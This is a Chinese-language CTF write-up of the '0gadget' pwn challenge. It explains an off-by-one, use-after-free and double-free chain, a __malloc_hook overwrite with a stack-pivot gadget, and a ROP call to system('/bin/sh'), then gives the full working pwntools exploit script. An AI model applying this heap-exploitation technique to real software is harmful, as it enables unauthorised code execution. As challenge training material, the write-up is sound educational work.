[Pwn] 0gadget - Cpt.shao xp0int Posted on Nov 30 2018 同样也是简单的选单系统,保护设置如下: ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) ``` 题目提示说binary的开发环境是在busybox下面,不知道这意味着什么。 调试一下发现在输入title的时候会有一个off-by-one漏洞,可以改写内容指针的最低byte。  然后又可以导致uaf漏洞达成double free。 因为没有RELRO,所以最直接的方法还是写got表劫持,然后看了一圈以后发现got表被塞满了,找不到可以利用的fake size。 那还是走劫持malloc_hook的路子了,尝试写one gadget以后发现打远程不行,大概就是提示里面说到的busybox的问题了,恐怕是onegadet不适用与busybox环境吧。 再观察程序发现在main函数里面,每次执行完操作都往栈上读入很长一段内容的机会。  这里的想法就是在libc里面找到一个stack pivot的gadget正好能够跳到这段内容里面让我们做rop。 在调用add的时候发现栈顶距离这段内容的偏移为0x148,搜索libc中找到0x353aa处有一个add rsp, 0x148的gadget。把这个gadget写入malloc,然后就能跳到通过之前read读入的rop当中。rop的内容自然是直接调用system('/bin/sh')。 ```python from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] env = {'LD_PRELOAD' : './libc-2.23.so'} p = process('./0gadget', env=env) elf = ELF('./0gadget') libc = ELF('./libc-2.23.so') bp = [] # you can insert bp here gdbcmd = "" for b in bp: if type(b) is str: gdbcmd += "b {}\n".format(b) elif type(b) is int: gdbcmd += "b *{:#x}\n".format(b) def rc(x): return p.recv(x) def ru(x): return p.recvuntil(x) def se(x): return p.send(x) def sl(x): return p.sendline(x) def sea(a, b): return p.sendafter(a, b) def sla(a, b): return p.sendlineafter(a, b) def info_addr(tag, addr): return p.info(tag + ': {:#x}'.format(addr)) def add(size, title, content, is_remark=None): sla(':', '1') sla(':', str(size)) sla(':', title) sea(':', content) if is_remark: sla('REMARK:', is_remark) else: sla('REMARK:', cyclic(0x90)) def delete(idx): sla(':', '2') sla(':', str(idx)) sla('REMARK:', cyclic(0x90)) def show(idx): sla(':', '3') sla(':', str(idx)) add(0x60, 'a'*0x89, 'a') add(0x60, 'b'*0x90 + p8(0x10), 'b') add(0x60, 'c'*0x89, 'b') add(0x60, 'd'*0x89, 'd') delete(0) delete(2) delete(1) add(0x60, p8(0x70)*0x89, p64(0x602168)) add(0x60, 'f'*0x89, 'junk1') add(0x60, 'f'*0x89, p64(0) + p64(0x70) + p64(0)) add(0x60, 'f'*0x89, p64(elf.got['strlen'])) # leak libc show(0) ru('content: ') leak_libc = u64(rc(6) + '\x00\x00') libc.address = leak_libc - libc.symbols['strlen'] info_addr('leak_libc', leak_libc) info_addr('libc_start', libc.address) sla('REMARK:', cyclic(0x90)) add(0x60, 'f'*0x89, 'junk3') add(0x60, 'g'*0x90 + p8(0x60), 'junk3') add(0x60, '/bin/sh\x00', 'junk3') delete(3) delete(1) delete(6) one_gadget = libc.address + 0x353aa # add rsp, 0x148; ret; stack pivot pop_rdi = 0x401193 add(0x60, 'h'*0x89, p64(libc.symbols['__malloc_hook']-35)) add(0x60, 'h'*0x89, 'junk4') add(0x60, 'h'*0x89, 'junk5') # rop payload payload = p64(pop_rdi) payload += p64(0x602548) payload += p64(libc.symbols['system']) add(0x60, 'h'*0x89, 'a'*19 + p64(one_gadget), payload) gdb.attach(p, gdbcmd+'\nb *{}'.format(one_gadget)) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] Steak - Cpt.shao [Pwn] gets - Cpt.shao
没有帐号? 立即注册